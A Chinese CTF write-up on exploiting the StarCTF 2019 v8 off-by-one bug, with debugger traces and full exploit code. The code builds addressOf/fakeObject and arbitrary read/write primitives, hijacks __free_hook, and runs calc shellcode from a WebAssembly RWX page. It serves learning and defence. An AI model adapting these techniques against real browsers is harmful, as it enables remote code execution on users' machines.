StarCTF 2019 v8 off-by-one漏洞学习笔记
2020-06-11 10:44:00 Author: xz.aliyun.com(查看原文) 阅读量:504 收藏

银雁冰 @猎影实验室
前言
从2019年开始,与Chrome相关的在野0day披露开始增多,仅笔者所知的有如下几个:
CVE编号 发现厂商
CVE-2019-5786 Google
CVE-2019-13720 Kaspersky
CVE-2020-6418 Google
作为对比,2014-2018年被厂商披露的Chrome在野0day数量为0,上述数据表明接下来会有更多的Chrome在野0day出现。
站在防守方的角度,一旦预感到某种类型的漏洞接下来会出现,就应该提前对相关领域进行研究,以降低未来应急响应的门槛。基于此,笔者决定挑一个例子上手Chrome下的漏洞调试。
那么,选择哪个漏洞比较好呢?一番对比后,笔者选了2019年StarCTF的一道v8 off-by-one的题,这个例子满足如下条件:

  1. 题目较新,一般来说出题者的思路即会反映该领域研究人员的较新研究方向
  2. 漏洞原理较为简单,利用手法比较常规,实践起来比较容易
  3. 网上有较多质量较高的Writeup
    调试环境搭建
    阅读若干Writeup后,笔者决定在Ubuntu 18.04 64位环境调试这个漏洞。
    科学上网
    要调试这类漏洞,首先需要下载v8源码到本地,这个过程需要进行科学上网。相关操作笔者参考了Migraine的文章。配置好科学上网工具后,使用depot_tools fetch v8代码前,请不要忘记在当前终端设置以下两句(端口因设置而异),不然会提示一些文件未找到的错误:
    export https_proxy=http://127.0.0.1:12333
    export http_proxy=http://127.0.0.1:12333
    下载v8代码到本地后,继续进行调试环境构建,以便于辅助调试,笔者着重构建的几点是:
  4. pwndbg的安装
  5. v8源码中提供的gdb插件gdb-v8-support.py的安装(可参考Migraine的文章),里面的job命令可以结构化打印对象
  6. Turbolizer工具的搭建,此工具对于当前漏洞用处不大,但对涉及到jit的漏洞调试比较有帮助(可参考mem2019的文章)
    以下为该题给出的提示:
    Yet another off by one

$ nc 212.64.104.189 10000
the v8 commits is 6dc88c191f5ecc5389dc26efa3ca0907faef3598.
构建完上述环境后,切换到相应分支,再次执行gclient sync同步代码,打上diff文件,随后就可以编译本题所需v8引擎了:
fetch v8
cd v8

git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync -D
git apply < /home/test/Desktop/oob.diff

tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
以上命令编译得到一个debug版本的v8,编译得到的可执行文件为d8,运行d8时,--allow-natives-syntax 选项定义了一些v8运行时支持函数,以便于本地调试,配合--allow-natives-syntax 选项,我们可以在js源码中增加若干调用以辅助调试,比较有用的两个调用是:
%DebugPrint(obj) // 输出对象地址
%SystemBreak() // 触发调试中断,结合调试器使用
编译选项
本案例中的漏洞可以在debug或release版本下复现,但Writeup给出的利用只能在release版本执行。为了既能调试整个利用过程,又能使用gdb-v8-support.py插件的job等命令,笔者选择编译一个添加了编译选项的release版本,具体地,在编译release版本前,在out.gn/x64.release/args.gn文件中增加以下编译选项:
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
编译完成后,即可用调试器启动release版本的d8,基本调试操作如下:
cd /home/test/v8/out.gn/x64.release
gdb ./d8 // 安装pwndbg之后,启动gdb时会自动启动pwndbg
set args --allow-natives-syntax /home/test/Desktop/test/poc.js
r // run
c // continue
漏洞调试
Diff文件分析
这部分请参考《从一道CTF题零基础学V8漏洞利用》这篇文章,里面已经分析得很详细,本文从略。从diff文件中我们可以看到打完补丁的v8源码中存在一个off by one问题,可以在此基础上实现越界读/写,继而实现类型混淆。
PoC构造
知道问题所在后,即可构造PoC,并在调试器中进行验证,这里直接借用《从一道CTF题零基础学V8漏洞利用》这篇文章中给出的PoC,如下:
var a = [1, 2, 3, 1.1];
%DebugPrint(a);
%SystemBreak(); // <- 断点(1)
var data = a.oob(); // 验证越界读
console.log("[*] oob return data:" + data.toString());
%SystemBreak(); // <- 断点(2)
a.oob(2); // 验证越界写
%SystemBreak();
在调试器中看相关结构
将上述代码保存为oob.js文件,用gdb启动之,在断点(1),观察一下数组a的结构:
pwndbg> r
Starting program: /home/test/v8/out.gn/x64.release/d8 --allow-natives-syntax /home/test/Desktop/exp/poc/oob.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7efd78970700 (LWP 33522)]
[New Thread 0x7efd7816f700 (LWP 33523)]
[New Thread 0x7efd7796e700 (LWP 33524)]
[New Thread 0x7efd7716d700 (LWP 33525)]
[New Thread 0x7efd7696c700 (LWP 33526)]
[New Thread 0x7efd7616b700 (LWP 33527)]
[New Thread 0x7efd7596a700 (LWP 33528)]
0x294872acde69 <JSArray[4]>
...

pwndbg> job 0x294872acde69
0x294872acde69: [JSArray]

  • map: 0x0e81fe702ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
  • prototype: 0x100de9751111 <JSArray[0]>
  • elements: 0x294872acde39 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
  • length: 4
  • properties: 0x04dff3640c71 <FixedArray[0]> {
    #length: 0x1d7f06ac01a9 <accessorinfo> (const accessor descriptor)
    }</accessorinfo>
  • elements: 0x294872acde39 <FixedDoubleArray[4]> {
    0: 1
        1: 2
        2: 3
        3: 1.1
    }

pwndbg> job 0x294872acde39
0x294872acde39: [FixedDoubleArray]

  • map: 0x04dff36414f9 <map></map>
  • length: 4
    0: 1
        1: 2
        2: 3
        3: 1.1
    要注意在v8中打印出的对象地址是实际地址+1,原因在《v8利用入门:从越界访问到RCE》这篇文章中有说到:
    为了加快垃圾回收的效率需要区分number和指针,v8的做法是使用低位为标志位对它们进行区分。由于32位、64位系统的指针会字节对齐,指针的最低位一定为0,v8利用这一点最低位为1视为指针,最低位为0视为number,smi在32位系统中只有高31位是有效数据位。
    所以数组a在内存中的实际地址应该是0x294872acde68,来验证一下:
    pwndbg> telescope 0x294872acde69-1
    00:0000│ 0x294872acde68 —▸ 0xe81fe702ed9 ◂— 0x4000004dff36401
    01:0008│ 0x294872acde70 —▸ 0x4dff3640c71 ◂— 0x4dff36408
    02:0010│ 0x294872acde78 —▸ 0x294872acde39 ◂— 0x4dff36414
    03:0018│ 0x294872acde80 ◂— 0x400000000
    04:0020│ 0x294872acde88 ◂— 0x0
    从上面的输出可以看到存储在0x294872acde68的即为0xe81fe702ed9,对应job命令输出的map值。
    还可以注意到的一个有趣的现象是PoC中数组a的elements对象地址位于a对象之前的0x30,且这两个对象是紧邻的:
    pwndbg> telescope 0x294872acde39-1
    00:0000│ 0x294872acde38 —▸ 0x4dff36414f9 ◂— 0x4dff36401
    01:0008│ 0x294872acde40 ◂— 0x400000000
    02:0010│ 0x294872acde48 ◂— 0x3ff0000000000000 // 1的64位浮点数表示形式
    03:0018│ 0x294872acde50 ◂— 0x4000000000000000 // 2的64位浮点数表示形式
    04:0020│ 0x294872acde58 ◂— 0x4008000000000000 // 3的64位浮点数表示形式
    05:0028│ 0x294872acde60 ◂— 0x3ff199999999999a // 1.1的64位浮点数表示形式
    06:0030│ 0x294872acde68 —▸ 0xe81fe702ed9 ◂— 0x4000004dff36401 // 数组a的map
    07:0038│ 0x294872acde70 —▸ 0x4dff3640c71 ◂— 0x4dff36408
    浮点数在内存中的表示
    在v8中,浮点数在64位内存中的表现形式遵循IEEE 754 64位存储格式,具体如下:
    1(符号位) + 11(指数部分) + 52(尾数部分) // 左为高bit,右为低bit
    关于IEEE 754 64位的更多细节读者可自行上网查阅,为了便于转换调试器输出的浮点值到普通表示形式,可以编写如下的python脚本进行转换:
    import binascii
    import struct

hex_list_64 = ['3ff0000000000000', '4000000000000000', '4008000000000000', '3ff199999999999a']

for value in hex_list_64:
print(struct.unpack('>d', binascii.unhexlify(value)))

// 转换输出如下
(1.0,)
(2.0,)
(3.0,)
(1.1,)
越界读取
在调试器中输入c,继续运行PoC代码,断下后再次进行观察:
pwndbg> c
Continuing.
[*] oob return data:7.881079421936e-311
7.881079421936e-311是什么呢?如果我们将数组a的map值转化为64位浮点数,可以得到如下输出:
import binascii
import struct

hex_list_64 = ['00000e81fe702ed9']

for value in hex_list_64:
print(struct.unpack('>d', binascii.unhexlify(value)))

// 转换输出如下
(7.881079421936e-311,)
可以看到,PoC中借助漏洞越界读取了elements对象后面的8字节,而这8字节正是数组a的map指针。
越界写入
在调试器中再次输入c,继续运行PoC代码,断下后再次进行观察:
pwndbg> telescope 0x294872acde39-1
00:0000│ 0x294872acde38 —▸ 0x4dff36414f9 ◂— 0x4dff36401
01:0008│ 0x294872acde40 ◂— 0x400000000
02:0010│ 0x294872acde48 ◂— 0x3ff0000000000000
03:0018│ 0x294872acde50 ◂— 0x4000000000000000
04:0020│ 0x294872acde58 ◂— 0x4008000000000000
05:0028│ 0x294872acde60 ◂— 0x3ff199999999999a
06:0030│ 0x294872acde68 ◂— 0x4000000000000000 <- 可以看数组a的map指针被改写了
07:0038│ 0x294872acde70 —▸ 0x4dff3640c71 ◂— 0x4dff36408
可以看到相邻的数组a的map指针被改写了,改写后的值为数值2对应的64位浮点数表示形式。
通过对上述PoC的调试,可以看到,借助该漏洞可以读写一个数组对象的map指针,由于v8依赖map类型对js对象进行解析(这部分的相关细节网上有详解,此处不再过多展开),所以可以借助该漏洞对一个数组对象的map指针进行改写,从而产生类型混淆。
利用编写
借助上述类型混淆可以将一个浮点数组转变为一个对象数组,反过来也可以,在此基础上可构造任意地址泄露和任意地址写入两个原语。
任意地址泄露
首先构造任意地址泄露原语。这个比较简单,首先定义一个对象数组,将待泄露的对象地址保存到这个对象数组,随后借助漏洞改写对象数组的map指针,使其变为一个浮点数组。随后从“浮点数组”中读取对象指针。
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];

var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;
obj_array.oob(obj_array_map);
return obj_addr;
}
需要注意的是,泄露出来的对象指针是64位浮点数形式,先要将其转换为64位整数形式,然后减1。1后面加n是让其变成64位的BigInt,否则运算时会提示类型不一致。
将浮点数转为整数需要定义一个f2i函数,这个函数的基本思路是定义一个ArrayBuffer对象,随后同时用其初始化一个Float64Array数组和一个BigUint64Array数组,通过用两个数组操作同一片内存,实现64位浮点数与64位整数之间的转换,后面的i2f同理:
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}

function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
任意对象伪造
任意对象伪造的思路和任意地址泄露的思路一致。先布局一块内存,然后将该内存的首地址传入一个浮点数组,接着利用漏洞将该浮点数组的map改写为对象数组的map,最后将伪造的地址以对象的形式进行读取:
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map);
return faked_obj;
}
任意地址读写
有了任意地址泄露和任意对象伪造两个原语后,理论上就可以实现代码执行了,大部分Writeup中的思路是先借助上述两个原语实现任意地址读写,采用的思路是构造一个fake_array如下:
var fake_array = [
float_array_map, // map
i2f(0n), // prototype
i2f(0x41414141n), // elements
i2f(0x1000000000n), // length
1.1,
2.2,
];
《从一道CTF题零基础学V8漏洞利用》这篇文章里面有提到,如果fakearray在构造时没有最后两个properties,相关结构会在内存中发生变化,本文不对其中细节进行深究,直接采用有6个成员的fakearray。
构造完fake_array后,我们先在内存中看一下其结构:
// fake_array
pwndbg> job 0x1744cd9cf9c9
0x1744cd9cf9c9: [JSArray]

  • map: 0x264dae342ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
  • prototype: 0x22ccc9151111 <JSArray[0]>
  • elements: 0x1744cd9cf989 <FixedDoubleArray[6]> [PACKED_DOUBLE_ELEMENTS]
  • length: 6
  • properties: 0x3a07f47c0c71 <FixedArray[0]> {
    #length: 0x11556e8001a9 <accessorinfo> (const accessor descriptor)
    }</accessorinfo>
  • elements: 0x1744cd9cf989 <FixedDoubleArray[6]> {
    0: 2.08076e-310
        1: 0
        2: 5.40901e-315
        3: 3.39519e-313
        4: 1.1
        5: 2.2
    }

// fake_array.elements
pwndbg> job 0x1744cd9cf989
0x1744cd9cf989: [FixedDoubleArray]

  • map: 0x3a07f47c14f9 <map></map>
  • length: 6
    0: 2.08076e-310
        1: 0
        2: 5.40901e-315
        3: 3.39519e-313
        4: 1.1
        5: 2.2

pwndbg> telescope 0x1744cd9cf989-1
00:0000│ 0x1744cd9cf988 —▸ 0x3a07f47c14f9 ◂— 0x3a07f47c01
01:0008│ 0x1744cd9cf990 ◂— 0x600000000
02:0010│ 0x1744cd9cf998 —▸ 0x264dae342ed9 ◂— 0x400003a07f47c01
03:0018│ 0x1744cd9cf9a0 ◂— 0x0
04:0020│ 0x1744cd9cf9a8 ◂— 0x41414141 / 'AAAA' /
05:0028│ 0x1744cd9cf9b0 ◂— 0x1000000000
06:0030│ 0x1744cd9cf9b8 ◂— 0x3ff199999999999a
07:0038│ 0x1744cd9cf9c0 ◂— 0x400199999999999a

// 可以看到fake_array.elements在前,大小为0x40字节,第一个element值相对头部偏移为+0x10
// fake_array紧邻fake_array.elements,其头部相对fake_array.elements头部偏移为+0x40
pwndbg> p/x 0x1744cd9cf9c9-0x1744cd9cf989
$1 = 0x40
Writeup中用来构造任意地址读写原语的思路是这样的:借助任意地址泄露原语计算得到fakearray的第一个元素在内存中的基地址,然后借助任意对象伪造原语将该地址处开始的内存伪造为一个fakedobject,此时数据结构之间的对应关系如下(下图主要参考《从一道CTF题零基础学V8漏洞利用》这篇文章):

从上图可知,得到伪造的对象后,只要修改fakearray[2],就可以控制fakedobject的elements成员,在修改elements后,再对faked_object进行读写,就可以读写elements指针指向处的内存,这样就具备了任意地址读写能力,在此基础上封装两个原语即可:
var fake_array = [
float_array_map, // map
i2f(0n), // prototype
i2f(0x41414141n), // elements
i2f(0x1000000000n), // length
1.1,
2.2,
];

var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var faked_object = fakeObject(fake_object_addr);

function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let read_data = f2i(faked_object[0]);
console.log("[*] read from: 0x" + hex(addr) + " : 0x" + hex(read_data));
return read_data;
}

function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
faked_object[0] = i2f(data);
console.log("[*] write to: 0x" + hex(addr) + ": 0x" + hex(data))
}
有了任意地址读写原语后,接下来的操作就比较简单了。笔者在此基础上实践了两种方法:

  1. 泄露libc地址,劫持free_hook为system,调用相关函数,传入命令行实现代码执行
  2. 找到wasm的代码页指针,将shellcode拷贝到此代码页,调用wasm接口实现代码执行
    代码执行:劫持free_hook
    如何劫持free_hook呢?首先要泄露d8模块基址。这里笔者采用的是《从一道CTF题零基础学V8漏洞利用》这篇文章中介绍的稳定泄露的方法,具体步骤读者可以参考那篇文章:
    var a = [1.1, 2.2, 3.3];
    var code_addr = read64(addressOf(a.constructor) + 0x30n);
    var leak_d8_addr = read64(code_addr + 0x41n);
    console.log("[*] find libc leak_d8_addr: 0x" + hex(leak_d8_addr));
    上述代码泄露了d8模块里面的一个指针,接着需要根据该指针计算得到d8模块的基址,作为一个初学者,笔者在实践的过程中,发现所有文章都对这一步骤一笔带过,这里简述笔者采用的方法:
    先按照《从一道CTF题零基础学V8漏洞利用》的方法在调试器中进行查找,某次定位到leakd8addr为0x561083f56780,用vmap命令显示该地址的相关信息,输出中最前面有一个0x561083607000,这个函数即为d8模块的_start函数在内存中的地址:
    pwndbg> vmmap 0x561083f56780
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x561083607000 0x5610841df000 r-xp bd8000 642000 /home/test/v8/out.gn/x64.release/d8
    通过以下步骤即可计算得到d8基址:
  3. 计算在内存中leakd8addr相对于_start的偏移,记为offset1
  4. 在IDA中计算得到_start相对于d8基址的偏移,记为offset2
  5. d8基址 = leakd8addr - offset1 - offset2
    下面为笔者某次实践中对应的相关偏移,及相关计算过程:
    // _start 0x561083607000
    // leak_d8_addr = 0x561083f56780
    // leak_d8_addr - _start = ‭0x94F780‬
    // _start - leak_d8_addr = 0x642000
    // leak_d8_addr - base = 0x642000 + 94F780 = 0xF91780
    var d8_base_addr = leak_d8_addr - 0xF91780n;
    console.log("[*] d8_base_addr: 0x" + hex(d8_base_addr));
    泄露得到d8模块基址后,先在d8模块中定位_start函数,找到该函数中使用的_libcstartmainptr函数指针:
    // 由d8的导出表定位到_start函数
    .text:0000000000642000 public _start
    .text:0000000000642000 _start proc near
    .text:0000000000642000 ; unwind {
    .text:0000000000642000 31 ED xor ebp, ebp
    .text:0000000000642002 49 89 D1 mov r9, rdx ; rtld_fini
    .text:0000000000642005 5E pop rsi ; argc
    .text:0000000000642006 48 89 E2 mov rdx, rsp ; ubp_av
    .text:0000000000642009 48 83 E4 F0 and rsp, 0FFFFFFFFFFFFFFF0h
    .text:000000000064200D 50 push rax
    .text:000000000064200E 54 push rsp ; stack_end
    .text:000000000064200F 4C 8D 05 2A 6A BD+lea r8,
    libc_csu_fini ; fini
    .text:0000000000642016 48 8D 0D B3 69 BD+lea rcx, libc_csu_init ; init
    .text:000000000064201D 48 8D 3D 6C 2F 01+lea rdi, main ; main
    .text:0000000000642024 FF 15 76 B7 C2 00 call cs:
    libc_start_main_ptr
    .text:000000000064202A F4 hlt
    .text:000000000064202A ; } // starts at 642000
    .text:000000000064202A _start endp

// 由上面的函数指针定位到got表中的相关项
.got:000000000126D7A0 libc_start_main_ptr dq offset libc_start_main
.got:000000000126D7A0 ; DATA XREF: _start+24↑r
得到d8基址和libc_start_main的offset后,就可以在代码中读取内存中的libcstartmainaddr函数地址,接着通过IDA计算得到libcstartmain相对于libc-2.27.so基地址的偏移,这样我们就可计算得到libc库在内存中的基址。随后在其导出表查找freehook、system这两个函数的偏移,并加上libc在内存中的基址,就可得到free_hook、system两个函数在内存中的地址。
//
libc_start_main_ptr in d8
var d8_got_libc_start_main_addr = d8_base_addr + 0x126d7a0n;
var libc_start_main_addr = read64(d8_got_libc_start_main_addr);
console.log("[*] find libc_start_main_addr: 0x" + hex(libc_start_main_addr));

var libc_base_addr = libc_start_main_addr - 0x21AB0n;
var lib_system_addr = libc_base_addr + 0x4F440n;
var libc_free_hook_addr = libc_base_addr + 0x3ED8E8n;

console.log("[] find libc libc_base_addr: 0x" + hex(libc_base_addr));
console.log("[
] find libc lib_system_addr: 0x" + hex(lib_system_addr));
console.log("[*] find libc libc_free_hook_addr: 0x" + hex(libc_free_hook_addr));
找到上述信息后,理论上借助任意地址写原语将free_hook的地址修改为system的地址即可,但实践时发现write64这个原语无法正确完成写入,多篇分析文章已就这个问题进行讨论,解决办法是再借助DataView对象封装另一个任意地址写原语:
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

function write64_dataview(addr, data)
{
write64(buf_backing_store_addr, addr);
data_view.setFloat64(0, i2f(data), true);
console.log("[] write(use dataview) to: 0x" + hex(addr) + ": 0x" + hex(data));
}
此时就可以劫持free_hook并实现代码执行了:
write64_dataview(libc_free_hook_addr, lib_system_addr);
console.log("[
] Write ok.");
console.log("gnome-calculator");
效果如下:

代码执行:wasm
相比较之前的方法,wasm方法只需要很少的硬编码,也无需借助DataView再构造一个写原语,许多Writeup中已经对该种方法进行详细说明,本文不再过多叙述:
ar wasmCode = new Uint8Array([略]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);

console.log("[*] leak wasm func addr: 0x" + hex(f_addr));

var shared_info_addr = read64(f_addr + 0x18n) - 1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x08n) - 1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);

console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

function copy_shellcode(addr, shellcode)
{
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
let buf_addr = addressOf(buf);
let backing_store_addr = buf_addr + 0x20n;

write64(backing_store_addr, addr);
for(let i = 0; i < shellcode.length; i++)
{
    dataview.setUint32(4*i, shellcode[i], true);
}

}

// https://xz.aliyun.com/t/5003
var shellcode = [
0x90909090,
0x90909090,
0x782fb848,
0x636c6163,
0x48500000,
0x73752fb8,
0x69622f72,
0x8948506e,
0xc03148e7,
0x89485750,
0xd23148e6,
0x3ac0c748,
0x50000030,
0x4944b848,
0x414c5053,
0x48503d59,
0x3148e289,
0x485250c0,
0xc748e289,
0x00003bc0,
0x050f00
];

console.log("[] Copying xcalc shellcode to RWX page");
copy_shellcode(rwx_page_addr, shellcode);
console.log("[
] Popping calc");
f();
对上述代码中的shellcode注解如下:

这种方法可以更为简单地实现代码执行,效果如下:

Chrome下的代码执行
题目原材料中给了一个对应的Chrome程序,写一个index.html脚本调用上述rce_wasm.js文件,以--no-sandbox模式启动该Chrome,打开index.html,即可在Chrome中实现代码执行:

写在最后
借助本次实践,笔者初步上手了Linux下v8的漏洞调试,包括源码下载、环境搭建、漏洞成因调试和漏洞利用编写,以及对gdb、pwndbg下相关调试指令的熟悉。近年来各大CTF中与v8有关的题目越来越多,网上的学习资料也开始增多,希望此文对读者上手该领域也有一定帮助。
参考资料
主要参考:
题目资料下载
官方Writeup材料
v8 Base
从一道CTF题零基础学V8漏洞利用
StarCTF 2019 (CTF) oob 初探V8漏洞利用
其他资料:
Chrome v8 exploit - OOB
CTF2019 OOB-v8 Writeup
star ctf Chrome oob Writeup
CTF 2019 – Chrome oob-v8
v8利用入门:从越界访问到RCE
Exploiting v8:
CTF 2019 oob-v8


文章来源: http://xz.aliyun.com/t/7865
如有侵权请联系:admin#unsafe.sh